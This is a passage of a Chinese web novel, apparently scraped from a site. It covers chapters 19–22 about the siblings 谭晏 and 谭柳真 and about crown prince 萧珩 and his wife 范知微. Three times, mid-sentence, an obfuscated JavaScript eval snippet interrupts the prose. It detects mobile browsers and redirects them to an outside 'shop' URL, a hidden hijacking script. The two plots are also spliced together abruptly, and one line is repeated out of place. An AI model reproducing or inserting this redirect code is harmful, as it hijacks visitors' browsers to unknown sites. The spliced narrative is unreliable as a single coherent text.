他扶着墙,弯着腰,大口地喘气。 呼——吸——呼——吸—— 他不知道自己是怎么跑回去的,他只记得自己在那些陌生的巷子里拼命地跑,跑过一个又一个路口,直到终于跑回那条熟悉的街道。 街上乱糟糟的,人群还在慢慢散去。有人在捡地上的东西,有人在互相搀扶着站起来,有人在安慰受惊的孩子。 谭柳真不在这。 谭晏站在街心,四处张望。一个卖糖葫芦的老头蹲在地上捡散落的糖葫芦,一个妇人抱着孩子在哭,几个汉子在骂骂咧咧地说着刚才那匹疯马。 可他没有看见阿姐。 他转了一圈,又转了一圈。 谭晏的心像是被什么东西猛然挖了一下,挖出一个巨大的空洞,空得他发慌。 “阿姐……” 谭晏站在原地,看着周围那些人。 他们在他身边走来走去,可他们的动作忽然变得很奇怪,很慢,很僵硬,像是泡在什么东西里面。 谭晏的呼吸忽然急促起来。 他知道这个画面。 在那个梦里。 那些人,那些行动迟缓的人,那些看不清脸的人,那些像泡在琥珀里的虫子一样的人。 和现在一模一样。 谭晏的身子开始发抖。 他低下头,看见自己的手。那双手上沾着土,有一道血痕,在微微地抖。 他又抬起头,看向四周。 还是那些人。还是那些慢得像凝固了一样的动作。还是那些看不清的脸。 他忽然不知道自己是在梦里还是醒着。 他想起那个梦的结尾。他拽着母亲的衣角,问母亲要去哪儿。母亲的脸变得很可怕,他记不清了,只记得那种感觉,那种被丢下的感觉,那种再也不会有人回来的感觉。 现在又是这样。 他又被丢下了。 谭晏忽然蹲下去,蹲在地上,用两只手抱住脑袋。 他的头很痛,痛得像要裂开一样,太阳穴那里突突地跳,跳得他眼前一阵一阵地发黑。他拼命地想要想点什么,可脑子里全是乱的,全是那些话,全是那个梦,全是阿姐的脸。 “阿姐……”他喃喃地念叨着,声音发颤, “阿姐,我听话……我什么都听你的……我不去镇上……我不要娶媳妇……我就跟你和有福在一起……你别丢下我……” 他不知道自己在说什么,只是拼命地念着,像是念经一样,像是这样念着阿姐就会听见,就会回来。 “我什么都听你的……我什么都干……我会修院墙……我会做饭……我会看好有福……我会什么都不问……” 他的声音越来越低,越来越哑,最后变成含混不清的呜咽。 周围那些人还在走来走去,可他已经看不见了。他只觉得自己的脑子里嗡嗡响,响得他什么都听不见,什么都想不了。 就在这时,一只手忽然搭在他肩上。 “阿晏……” 谭晏浑身一颤。 “阿晏,” “你跑哪儿去了?我找了你半天。” 19.小孩子就是喜欢随便许诺言 谭柳真看着蹲在地上的谭晏,跑过去将他扶了起来。 “阿晏——” 话还没说完,谭晏已经扑上来,一头撞进她怀里,两只手死死地攥着她腰间的衣裳,攥得指节都发了白。他把脸埋在她肩窝里,整个身子都在抖,抖得像风里的叶子。 谭柳真愣了愣,随即伸手揽住他的背,一下一下地拍。 “你没事吧?没事了……没事了。” 谭晏不说话,只是把脸埋得更深。谭柳真感觉到肩窝里湿热了一片,心里像被什么东西狠狠揪了一下。 她只是继续拍着他的背,周围的人群还在慢慢散去,过了好一会儿,谭晏的抖才慢慢止住。 谭柳真低头看他,轻声道:“刚才我也吓死了,我找了你半天。街上那么多人,我一回头你就不见了,我到处跑到处喊,喊得嗓子都哑了……” 她说着,声音也有些发哽。 谭晏从她肩窝里抬起头,眼睛红红的,脸上还挂着泪痕。 他看着她,嘴唇动了动,像是想说什么,可最后只是又把脸埋下去,埋在她肩上,不肯起来。 谭柳真由着他,手还在他背上轻轻拍着。 “没事了哈,”她哄他,“我找到你了,没事了。” “我以为……我以为你不要我了……” 谭柳真的手顿了顿。 “怎么可能,”她把他箍紧了些,“不可能的,这辈子都不可能。” 谭晏没吭声,只是把她攥得更紧。 两人就那么站在巷子口,抱着站了好一会儿。直到街上的人散得差不多了,天也渐渐暗下来,谭柳真才轻轻拍了拍他的背。 “走吧,回家。” 谭晏松开她,低着头,用袖子胡乱抹了把脸。 谭柳真看他那样,心里软得一塌糊涂。她伸手把他额前蹭乱的碎发别到耳后,又看了看他手上的血痕,眉头皱起来。 “手怎么了?” 谭晏低头看了看,像是才注意到似的:“不知道……可能是跑的时候蹭的。” 谭柳真拉着他的手看了看,还好只是蹭破了皮,不算深。她从袖子里掏出一块帕子,给他把上面的土擦了擦,然后包上。 “回去得洗洗,上点药。” 谭晏点点头,乖乖地让她包。 包好了,谭柳真拉起他的手,往家的方向走。 走了几步,谭晏忽然停下来。 谭柳真回头看他:“怎么了?” 谭晏看着她,嘴唇动了动,好一会儿才问出声:“阿姐……你为什么要给我在镇上租房子?” 谭柳真愣了一下。 她没想到他会问这个。 “我……”她张了张嘴,想说点什么,可看着谭晏那双红红的眼睛,忽然又说不出来了。 谭晏看着她,声音有些发紧:“我刚才……刚才跑的时候,一直在想,阿姐是不是……是不是借着这个机会,就这么走了。我知道我不该这么想,阿姐对我这么好,我怎么能这么想阿姐……可是我就是忍不住,我就是害怕……” 他说着,声音又有些哽咽。 谭柳真听着,心里像被什么东西堵住了。 她拉着他走到路边,在台阶上坐下来,让他也坐下。 “阿晏,”她看着他,认真地说,“阿姐给你租那个房子,不是要赶你走。” 谭晏看着她,没说话。 谭柳真想了想,慢慢地说:“你今年十七了,不小了。等过两年,总归是要成家的。总不能……总不能一辈子待在山上,跟我还有有福过一辈子吧?” 谭晏的眉头皱起来。 谭柳真继续说:“山上那地方,你知道的,偏僻,穷,连个像样的路都没有。我这辈子就这样了,我乐意待在那儿,可你不一样。你还年轻,你得有自己的日子过,得有自己的活法。” 她顿了顿,声音轻了些:“我不是要赶你走,我是想……想让你有个地方,能慢慢开始你自己的日子。镇上的房子是旧了点,可好歹离镇上近,你要是在镇上找个活干,或者做点小买卖,总归是有个奔头的……” “我没想过那些。” 谭晏忽然打断她。 谭柳真一愣:“什么?” “你说的那些,”谭晏说,“什么成家,什么自己的日子,我从来没想过。” 谭晏低下头,看着自己手上包着的那块帕子,声音低低的:“我就想跟阿姐和有福在一起。山上也好,山下也好,哪儿都行。我不想要什么自己的日子,我就想……就想我们在一块儿。” 他抬起头,看着谭柳真,眼眶又红了:“阿姐,你别赶我走,行不行?我听话,我什么都听你的。我不去镇上,我不要娶媳妇,我就跟你和有福在一起。我会好好干活,我会修院墙,我会做饭,我会看好有福,我什么都不问……” 谭柳真听着,心里像被人用手狠狠揉了一把,又酸又软。 其实她根本不确信谭晏说的话,小孩还小,一路上历尽了奔波与磨难。随便抓住一个人,被给点好吃的好穿的还有好脸色,就像溺水的人抓住了浮木一样,一瞬间以为这块浮木就是他的全世。 现在说不想分开,以后的事谁说的准,小孩子就是喜欢随便许诺言。 唉,算了。 她在心里深深的叹了口气。 以后的事以后再说吧,至少谭晏现在还能陪她一段时间。 现在他还不想分开,就随他去吧。 “那帮工的事……” “我不去了,我和阿姐学医,以后一起跑诊,也可以赚钱。” 谭柳真微微点头。 她看着眼前这个人,这个人他捡回来以后,就一直跟着她,她让他干什么他就干什么,她说什么他都听,都这般体贴懂事了,居然还要担心被人赶走。 “阿晏,”她轻声说,“阿姐不是赶你走……” 谭晏看着她,眼睛里满是祈求。 谭柳真看着他,忽然就说不下去了。她叹了口气,伸手揽住他的肩膀,把他往身边带了带。 “好了好了,行,这次可是你选的,丢了这次机会,以后可别埋怨我。”她轻声说。 谭晏看着她,眼睛红红的。 谭柳真说:“我们先回去跟刘大夫说一下?往后的事儿,往后再说。” 谭晏愣了一下,跟着谭柳真去了刘大夫的铺子里,刘大夫是个爽快的人,谭柳真与他三言两语就道了明白,帮工的事情怕是再考虑。 最后出了铺子,谭晏还像是没反应过来。 谭柳真看他那样,忍不住笑了下:“傻愣着干什么?回家!” 谭晏这才回过神来,眼睛一下子亮了。 谭晏蹭地站起来,又把手伸给她,要把她拉起来。谭柳真拉着他的袖子站起来,拍了拍身上的土,两人往家走。 回到家的时候,天已经黑透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263013|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 有福蹲在院子里,看见他们回来,蹭地站起来跑过去,仰着脑袋摇尾巴,呜呜地叫,像是在埋怨他们怎么这么晚才回来。 谭柳真弯腰摸了摸它的脑袋,谭晏径直进了厨房。谭柳真跟进去的时候,他已经挽起袖子在生火。 果然,这一天谭晏格外殷勤。 做饭的时候,他把灶台擦了又擦,锅刷了又刷,切菜切得格外仔细,恨不得把每根菜丝都切成一样粗细。 吃饭的时候,他不停给谭柳真夹菜,夹得她碗里都堆成小山了还不肯停。吃完饭,他又抢着洗碗,洗完了碗又开始扫地,扫完了地又开始收拾屋子,里里外外忙个不停,像只停不下来的陀螺。 谭柳真坐在炕沿上,看着他忙进忙出的,有些无奈,又有些想笑。 “阿晏,”她喊他,“行了,别忙了,过来坐会儿。” 谭晏应了一声,把手里的抹布放下,走过来在她旁边坐下,坐得端端正正的,两只手放在膝盖上,像是等着她吩咐什么。 谭柳真看他那样,忍不住笑了。 “你这是干什么?” 谭晏看着她,认真地说:“阿姐,我在听话。” 谭柳真愣了一下,然后笑着摇了摇头。 窗外的月光透过窗纸洒进来,淡淡的,柔柔的。 车轮辘辘转动,驶出皇城。 车内燃着一盏小小的琉璃灯,光晕昏黄,映得萧珩的面容半明半暗。他靠在车壁上,闭着眼,似是在养神。 随行的侍卫长周绪策马靠近车窗,低声道:“殿下,再往前二十里便是关口,过了关就进朝阳地界了。您是直接回宫,还是……” 萧珩掀开车帘一角,看了看外头的天色。东方已经泛起鱼肚白,天快亮了。 “前面可有歇脚的地方?” 周绪道:“再行五里有个镇子,镇上有家酒楼,叫醉仙居,是咱们朝阳的馆子,干净得很。殿下可要歇歇脚,用些茶点再赶路?” 萧珩点点头:“也好。” 马车在醉仙居门前停下。周绪先下车打量了一番,这才回身掀开车帘。萧珩下了车,抬头看了看那招牌 “醉仙居”三个字写得龙飞凤舞,倒有几分意趣。 酒楼里尚早,客人不多。掌柜的见来人衣饰华贵,身后还跟着侍卫,连忙迎上来,点头哈腰地往里让。 周绪道:“要一间雅间,清净些的。” “有有有,楼上请——” 萧珩随着掌柜上楼,刚在雅间落座,茶还没来得及喝一口,周绪忽然快步走近,压低声音道:“殿下,您看楼下。” 萧珩顺着他的目光望去,手中茶盏微微一顿。 楼下大堂靠窗的位置,坐着个年轻公子。一身月白长袍,束着玉冠,生得唇红齿白,眉眼间自有一股风流意态。 此刻他正左拥右抱,左边揽着个清秀少年,右边靠着个俊朗青年,两人一左一右给他斟酒布菜,好不热闹。 萧珩看着那张脸,周绪小心翼翼道:“殿下,那是……太子妃?” 萧珩没应声,只静静看着楼下那人。 那人浑然不觉,正捏着身边少年的下巴,不知说了什么,惹得少年红着脸往他怀里钻。他哈哈大笑,端起酒杯一饮而尽,姿态潇洒,毫无女儿家模样。 萧珩看了许久,忽然轻轻笑了一声。 “她倒过得逍遥。”他低声道,语气听不出喜怒。 20.不正经人 萧珩今年不多不少,正是而立之年。 当初乐平公主走水逃跑后,正妃的位置就一直空着。 朝阳城外有多少豪门贵戚家的女儿都盯着这个位置,但萧珩偏偏就是不娶。 终于在去年给皇帝庆生的宴会上,宰相和皇帝身边的大公公一拍即合,在宴会上唱了好几出,皇帝这才恍然大悟自己的宝贝儿子还一直缺个正妃。 于是压力给到萧珩,不到一个月的时间,他就将宰相家的千金八抬大轿抬进了东宫。 宰相范之远在官场上就是一个老奸巨猾的狐狸,萧珩本以为这位相府千金也会和自己的父亲一样,是喜欢搞事的主,上演一波“有其父必有其女”的戏码。 然而,现实却狠狠地打了他的脸。 这位相府千金除了在新婚之夜他见过一次、看起来还算本本分分以外,其他时候简直是鸡飞狗跳。每次都有小厮告状,太子妃不是在不正经的楼里左拥右抱,就是在酒馆里喝得不醉不休。 关键她每回出府,俱是男装打扮,去楼里搂的也是男人。回宫时那么些眼睛盯着,外人不知是太子妃,只当东宫里藏着不三不四的人。外头常有好心人,拐着弯儿地劝萧珩: “您宫里有不正经人,早打发了干净。” 萧珩一开始还真当真了,了解到事情的原委后简直是哭笑不得。 现在,他的太子妃又在他的眼皮子底下左拥右抱,喝酒吃肉,歌舞升平,好不快活。 周绪见萧珩不言语,又小心翼翼地开口: “殿下,太子妃怎么跑到这儿来了?这都快到关口了。要不要……把她一起带回去?” 萧珩的目光仍落在楼下那人身上,闻言轻轻扯了扯嘴角。 “带回去?”他慢条斯理地将茶盏放下,“她是嫌弃宫里规矩多,嫌我这东宫闷得慌,这回怕是想着跑远些,撒欢撒个痛快。再往前二十里就是关口,她难不成还想跑到大汉那边去?” 周绪没敢接话。 萧珩站起身,理了理衣袖:“走吧,下去瞧瞧。” 楼下大堂里,范知微正捏着那只白瓷酒杯,眯着眼睛往嘴里送。左边那清秀少年殷勤地给她布菜,右边那俊朗青年端着酒壶随时准备添酒,她舒坦得眼睛都弯了起来,活像一只晒太阳的猫。 春绯站在一旁,脸上的表情却跟见了鬼似的。 范知微余光瞥见她的神色,含糊道:“怎么了?站累了?累了坐下,又没人拦着你。” 春绯没动,只拼命给她使眼色。 范知微茫然地眨眨眼,顺着她的目光往身后一看—— 手里的酒杯差点没拿稳。 萧珩就站在她身后三步远的地方,负手而立,神色淡淡,正看着她。 不是那种偶然撞见的意外,而是那种“我倒要看看你还能演到什么时候”的眼神。 范知微脑子里嗡地一声,酒意散了大半。 她僵硬地扭过头,看了一眼左边的少年,又看了一眼右边的青年,再低头看看自己这一身月白男装,最后又看向萧珩那张看不出喜怒的脸,尴尬得头皮发麻。 萧珩没说话,只是目光在她脸上停留片刻,又扫了一眼她身边那两人。 那目光不凶,甚至称得上平静。但那两个被揽着的人精却是惯会看眼色的,当即站起身来,赔着笑往后退。左边的清秀少年还极有眼力见地朝萧珩行了个礼,一溜烟跑了。右边的俊朗青年也不慢,转眼间两人就消失在后堂门口。 桌上剩了一桌残酒剩菜,和僵在原地的范知微。 萧珩这才开口,语气不咸不淡:“这酒楼看着倒是正经,原来也还有这些不正经的服务。” 范知微干笑一声,站起身来,硬着头皮行了个礼:“殿、殿下……好巧啊。” “巧?”萧珩挑了挑眉,“是挺巧。本宫出京办趟差,回程歇个脚,都能遇上太子妃在这做什么?微服私访?” 范知微讪讪道:“不是私访,就是……就是……” 她脑子飞快地转着,忽然灵光一闪:“就是陪丫鬟探亲!春绯,对,春绯她想家了!她家就在这附近,我陪她回来探探亲!” 春绯站在一旁,脸上的表情已经不知道该怎么摆了。 萧珩看了一眼春绯,又看回范知微:“探亲?” “对,探亲。” “探亲为什么要扮男装?” “男装安全啊!”范知微理直气壮起来,“殿下您想,我一个女子出门多惹眼,扮成男装就方便多了。您看我现在这样,活脱脱一个富家少爷,有钱人家的大少爷嘛,小偷小摸的见了都要绕道走,多安全!” 萧珩看着她,没说话,嘴角却微微扬起一点弧度。 那笑容说不上是信了还是没信,总之看得范知微心里直发毛。 萧珩道:“那探好亲了?” “探好了探好了!”范知微连连点头,“正准备回去呢,这就准备回去了。” 萧珩点点头,语气平淡得像是在说今天天气不错:“那正好,一起回去。” 范知微一噎。 她想说自己马车也备好了、人也不少、不劳殿下费心,可对上萧珩那双似笑非笑的眼睛,到嘴边的话又咽了回去。 “是……”她蔫蔫地应了一声。 站在醉仙居门口,范知微抬脚就往左边走。 “太子妃。”周绪不知何时已经挡在了她面前,恭恭敬敬地一拱手,“殿下请您同乘。” 范知微的脚步一顿。 她扯出一个笑:“不用不用,我自己的马车挺好的,就不打扰殿下了。” 周绪没动,仍然是那副恭敬的模样:“殿下吩咐的,卑职不敢违命。” 范知微看向春绯,春绯则是低着头,假装在整理车帘,完全不敢看她。 她又看向周绪,后者的腰板挺直。 范知微:“……” 她认命地叹了口气,硬着头皮往右边走,周绪跟在她身后,亦步亦趋。 车帘掀开了一角,萧珩正靠在车壁上,手里不知何时多了一把折扇。那扇子遮住了他下半张脸,他左眼闭着,右眼睁着,正透过那道帘缝,往她这边看。 范知微一愣,萧珩那只睁着的右眼,飞快地闭上了。 周绪在身后轻咳一声:“太子妃,请。” 马车重新上路。 来时范知微坐的是自己那辆宽敞舒坦的马车,左拥右抱,好不快活。回时那两人早被打发走了,她自个儿也被请进了萧珩的车驾。 车厢比她那辆要小些,布置也简素,只角落里燃着一盏小小的琉璃灯。光线昏昏黄黄的,照得人骨头都发软。 萧珩靠在对面的车壁上,闭着眼。 许是连日赶路累着了,他竟真的睡着了。呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269844|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平稳而绵长,眉眼在昏黄的光晕里显得格外温和,少了白日里那股淡淡的疏离感。 范知微不敢动。她规规矩矩地坐着,双手放在膝上,连呼吸都放轻了几分。马车偶尔颠簸一下,她就绷紧身子,生怕弄出什么动静把人吵醒。 偷偷抬起眼,目光落在对面那人脸上。 车厢里光线暗,只能看清一个模糊的轮廓。高挺的鼻梁,微微抿着的薄唇,还有即便睡着也不曾完全舒展开的眉心。 她看了一会儿,又飞快地垂下眼。第一次见面那天,她也没敢细看。 新婚之夜,红烛高照,她顶着沉甸甸的凤冠,眼前垂着密密匝匝的珠帘,只隐约看见一个人影坐在床边,玄色喜服,身姿如松。他说了什么,她全没听进去,只记得自己的心跳得厉害,咚咚咚的,震得耳膜发疼。 后来他就走了。掀盖头的是喜娘,服侍她安寝的是丫鬟。她躺在宽得能滚三个来回的床上,盯着帐顶绣得繁复的龙凤呈祥,心想:这就嫁完了? 再后来,她就再没见过他几面。 倒也不是完全没见过,宫宴上远远望见过两回,他坐在皇帝下首,跟那些大臣说话,偶尔举起酒杯,眉眼淡淡的,谁也看不透他在想什么。 她坐在女眷那一堆里,隔着满殿的觥筹交错,隔着层层叠叠的珠翠钗环,偷偷看了他几眼,又赶紧收回目光。 范知微知道他不喜欢她。 她于他而言,不过是一道不得不完成的圣旨,一个宰相府送来的摆设,摆在那东宫的正院里,安分守己就行。 想到这里,范知微的目光黯了黯。 她不由自主地想起了那个人,传闻中的乐平公主。 那位据说倾国倾城的女子,那位琴棋书画样样精通的才女,那位让萧珩十九岁就一见倾心、以至于十年都不肯再娶正妃的人。 该是怎样的风华绝代呢? 她没见过,但听过太多传言。听说乐平公主擅琴,一曲能使鸟雀驻足;听说乐平公主工诗,即兴之作便能让翰林院的学士们自愧不如;听说乐平公主通音律、善丹青、晓棋艺,是当之无愧的才女。 而她范知微呢? 虽出身相府,却是从小被判作不详的征兆,她爹把她丢在乡下养。书是读了,字是认了,可那些琴棋书画、诗词歌赋,她样样拿不出手。 她最擅长的是翻墙、爬树、偷偷溜出府去街上吃馄饨,是换上男装往那些不正经的地方钻,听小曲、看杂耍、跟那些来路不明的人喝酒划拳。 她养母每每气得跳脚,骂她没个女孩儿样。 可骂完了,还是由着她。 她原以为这辈子就这样了,嫁个寻常人家,关起门来爱怎么折腾怎么折腾。谁知道她爹忽然攀上了皇家的高枝,一道圣旨下来,她就被八抬大轿抬进了东宫。 像萧珩那样的人,生来就该配乐平公主那样的女子。风华绝代,才情无双,站在一起便是一幅画。 而她呢? 她只配躲在这昏黄的车厢角落里,偷偷看他几眼,然后在心里叹一口气。 马车又颠了一下。 萧珩的眉心微微动了动,范知微连忙收回目光,垂眼盯着自己的手指,大气都不敢出。 过了片刻,那边又安静下来。 她悄悄抬眼,见他没有醒,这才松了口气。 车轮辘辘,继续向前。 21.偏偏你最争气 马车在宫门口停下时,天色已经完全暗下来了。 范知微下了车,回头看了萧珩一眼。他正跟周绪低声交代着什么,察觉到她的目光,抬眼望过来。 “你先回东宫。”他的语气仍是淡淡的,“我去父皇那边复命。” 范知微点点头,行了个礼,带着春绯往东宫的方向走。走出几步,她忍不住回头看了一眼,萧珩的身影已经消失在宫门里了。 春绯在一旁小声嘀咕:“殿下刚回京就要去复命,连口气都不让喘……” 范知微没接话,只是低头往前走。 萧珩穿过重重宫门,一路往御书房去。 御前的大太监李福全老远就迎上来,脸上的笑堆得恰到好处:“殿下可算回来了,陛下正等着呢。” 萧珩点点头,正要往里走,忽然听见御书房里传来一阵怒骂声。 “废物!这点差事都办不好,朕养你们何用?!” 紧接着是瓷器碎裂的声音,和一个臣子颤抖的求饶声:“陛下饶命,陛下饶命啊——” 萧珩脚步一顿。 李福全面不改色,只是低声道:“户部的张侍郎,账册上出了点岔子,陛下正发火呢。” 话音刚落,里头就传来一声厉喝:“拖下去!砍了!” 萧珩眉头一皱,快步往里走。 御书房里一片狼藉。茶盏碎了一地,奏折散落得到处都是。朝阳皇帝坐在御案后,面色铁青,龙袍上还沾着茶水渍。户部张侍郎跪在地上,抖得像筛糠,两个侍卫已经架住了他的胳膊。 “父皇。”萧珩上前一步,躬身行礼,“儿臣回来了。” 朝阳皇帝抬眼看了他一下,那目光淡淡的,像是在看一个不太相干的陌生人:“嗯。” 萧珩看了看张侍郎,又道:“父皇息怒。张侍郎办事向来谨慎,想必是一时疏忽。户部事务繁杂,账册偶有错漏也是常事,责罚几句便是,何至于要命?” 张侍郎像是抓住了救命稻草,连连磕头:“陛下饶命,臣回去一定仔细核查,将功补过……” 朝阳皇帝盯着萧珩看了片刻,忽然嗤笑一声:“你倒是会做人情。” 萧珩低着头,没吭声。 御书房里静了一瞬。朝阳皇帝挥了挥手,语气里带着不耐烦:“行了,滚下去吧。” 张侍郎如蒙大赦,磕头如捣蒜,被侍卫架着退了出去。 萧珩站在原地,等着皇帝开口。 朝阳皇帝却像是忘了他似的,低头翻着奏折,半晌才头也不抬地问:“差事办好了?” “回父皇,办好了。江北的河工已经验收,账目也核对清楚了,这是明细。”萧珩从袖中取出折子,恭敬地呈上。 李福全接过来,放在御案上。朝阳皇帝瞥了一眼,嗯了一声,便再无下文。 萧珩等了一会儿,见皇帝没有要问的意思,便道:“父皇若无他事,儿臣告退。” “去吧。”朝阳皇帝仍低着头。 萧珩行礼,退了出去。 出了御书房,夜风一吹,他才发觉后背有些发凉。 不是累的,是方才那场面,让他想起许多事。 这几年,父皇的脾气越来越难以捉摸。杀人的由头也越来越随便。上个月一个奉茶的小太监,不过是茶凉了些,就被拖出去杖毙了。前些日子一个言官,不过是劝他少纳几个妃子,就被削了官职,发配边疆。 满朝文武,人人自危。 萧珩站在廊下,深深吸了口气,抬脚往坤宁宫去。 …… 坤宁宫里冷冷清清的。 皇后坐在灯下,正对着一卷佛经发呆。听见脚步声,她抬起头,见是萧珩,脸上露出一点笑意。 “回来了?” “是,刚去父皇那边复完命。”萧珩在她对面坐下,看了看案上的佛经,“母后在抄经?” 皇后苦笑了一下:“打发时间罢了。这宫里冷清,不找点事做,闷得慌。” 萧珩知道她说的冷清是什么意思。父皇已经许久不来坤宁宫了,后宫里那些年轻的妃嫔一个接一个地进,母后的位份虽高,却形同虚设。 “方才去御书房,正赶上父皇发落张侍郎。”萧珩放轻了声音,“差点就要砍头。” 皇后的手一顿,抬起头看着他,眼里是掩饰不住的惊惧。 “又……又要杀人?” 萧珩点了点头。 皇后沉默了一会儿,忽然低声道:“珩儿,你不知道,这宫里如今是个什么光景。你父皇的性子越来越……上回有个宫女,不过是打碎了一个花瓶,就被拖出去活活打死了。我求情,他连见都不见我。” 她的声音有些发抖:“那些臣子们,如今见了你父皇,一个个跟老鼠见了猫似的。这样的朝廷,这样的国家……能维持多久?” 萧珩没说话。 皇后看着他,眼里忽然涌出泪来:“珩儿,母后真想……真想你能赶紧摆脱这些。你若能早日……” “母后。”萧珩打断了她,声音压得很低,“慎言。” 皇后一愣,随即苦笑起来,擦了擦眼泪。 “是啊,慎言……这宫里,连说话都要小心。” 她看着萧珩,目光里满是心疼:“你父皇什么事都不肯交给你办,越老越抓着不放。外头但凡有点风吹草动,他都要疑神疑鬼。你这样夹在中间,难为你了。” 萧珩垂下眼,没接话。 他心里何尝不苦闷? 可这些话,不能对任何人说。 母子俩对坐无言,烛火微微跳动,映得两人的影子也摇摇晃晃。 过了一会儿,萧珩站起身:“母后早些歇息,儿臣告退。” 这时,皇后却忽然又开了口。 “珩儿。” 萧珩脚步一顿,回过身来。 皇后看着他,目光里带着些欲言又止的意味。烛火映在她脸上,将那几分犹豫照得清清楚楚。 萧珩等了片刻,不见她说话,便问:“母后还有何事?” 皇后垂下眼,手指无意识地捻着佛经的页角,半晌才轻声道:“你……也该要个孩子了。” 萧珩微微一怔。 皇后抬起头看着他,眼里带着几分期盼:“这宫里冷冷清清的,母后整日对着这四面墙,闷得慌。你若是有个孩子,抱来给母后带带,也好有个热闹。你父皇那边……说不定也会高兴些。” 萧珩没说话。 皇后又道:“太子妃进宫也有半年了吧?怎么肚子还半点动静都没有?” 萧珩垂下眼,神色淡淡的,看不出喜怒。 御书房里那一幕又浮现在眼前,父皇的暴怒,张侍郎的求饶,满地的碎瓷和奏折。 他想起父皇那双眼睛。看他时的那种目光,像是在看一个可有可无的人。 孩子?他轻轻扯了扯嘴角,那样的目光,他一个人受就够了。 “是儿臣的身子不太行。”他开口,语气平静得像是在说今日天气不错,“还要再养一养。” 皇后愣住了,她看着萧珩,眼眶忽然就红了。 “你……” 萧珩仍是那副淡淡的模样,等着她往下说。 皇后的眼泪却先掉了下来。她抬起袖子掩住脸,声音哽咽:“珩儿,母后想起你刚出生的时候……” 萧珩的睫毛轻轻颤了颤。 “那时候你那么小,那么瘦,太医说……太医说你活不长。”皇后的声音断断续续的,“宫里那些人,明面上不敢说,背地里都在议论,说这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273418|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子是个早夭的命,养不活的。” 萧珩站着没动,脸上仍是那副淡淡的笑容。 “可你偏偏就活下来了。”皇后放下袖子,看着他,泪水涟涟,“你从小就比别人弱,可你偏偏什么都比别人强。读书、骑射、处事……一步一步,走到今天这个位置。母后看着你,既心疼,又……” 她说不出话来,只是掩着面哭。 萧珩走过去,在她面前蹲下,轻轻握住她的手。 “母后。”他的声音低低的,“都是过去的事了。” 皇后看着他,泪眼朦胧中,那张脸平静得像一潭深水。看不出难过,也看不出委屈,只是淡淡的,淡淡的,像是在听别人的故事。 “你……” 萧珩微微笑了笑,那笑容温和得像三月的风,却又让人觉得隔了一层什么。 “儿臣如今不是好好的么。”他轻声道,“母后不必伤心。” 皇后看着他,张了张嘴,想说什么,最终却只是叹了口气。 萧珩站起身,仍是那副温和的模样:“夜深了,母后早些歇息。儿臣告退。” 皇后点点头,看着他转身往外走。 那背影挺拔如松,步伐沉稳有力,看不出半点孱弱的痕迹。 可皇后看着那背影,眼泪又忍不住落了下来。 …… 萧珩出了坤宁宫,夜风迎面吹来,带着深秋的凉意。 他在廊下站了一会儿,抬头看了看天。月亮被云遮住了,只透出一点朦胧的光。 周绪不知何时跟了上来,低声道:“殿下?” 萧珩没回头,只是轻声道:“走吧。” 他抬脚往前走,步伐和来时一样稳。 月光淡淡的,照在他身上,将那挺拔的影子拉得很长很长。 皇后点点头,看着他的背影消失在门口,又低头看向那卷佛经,轻轻叹了口气。 …… 萧珩回到东宫时,夜已经深了。 他刚进院门,就闻到一股若有若无的香味。不是熏香,也不是花香。 “什么味道?”他问迎上来的小厮。 小厮笑道:“回殿下,是太子妃在后院烤肉呢。” 萧珩一愣。 “烤肉?” “是。太子妃说今日在外头没吃尽兴,回来就让备了炉子,在后院烤鹿肉。春绯姑娘她们都在,热闹着呢。” 萧珩站在原地,听着从后院隐约传来的笑声,忽然有些恍惚。 那笑声毫无顾忌,隔着墙都能听出主人的畅快。 他想起自己方才在御书房里的如履薄冰,在坤宁宫里的压抑沉闷,再看看眼前这热热闹闹的场面,忽然觉得有些好笑。 “殿下要过去看看吗?”小厮问。 萧珩想了想,摇摇头。 “不必了。”他嘴角微微扬起一点弧度,“让她玩吧。” 他转身往自己的寝殿走,走出几步,又停下来,回头看了一眼后院的方向。 火光隐约可见,笑声断断续续地传来。 他就那样站了一会儿,忽然轻轻笑了笑。 太子妃那样的人,想必是从小被父母捧在手心里长大的吧。想笑就笑,想闹就闹,想吃肉就烤肉,想出府就出府。从不看人脸色,从不需要如履薄冰。 那样的日子,该是什么滋味? 他想象不出来。 周绪不知何时出现在他身后,低声道:“殿下,今日奔波一天了,早些歇息吧。” 萧珩点点头,转身往寝殿走去。 “明日让人送些好炭过去。”他顿了顿,“就说……天冷了,太子妃那边用得上。” 身后的笑声还在继续,飘在夜风里,轻轻柔柔的,像是一点暖意。 22.我叫李大牛 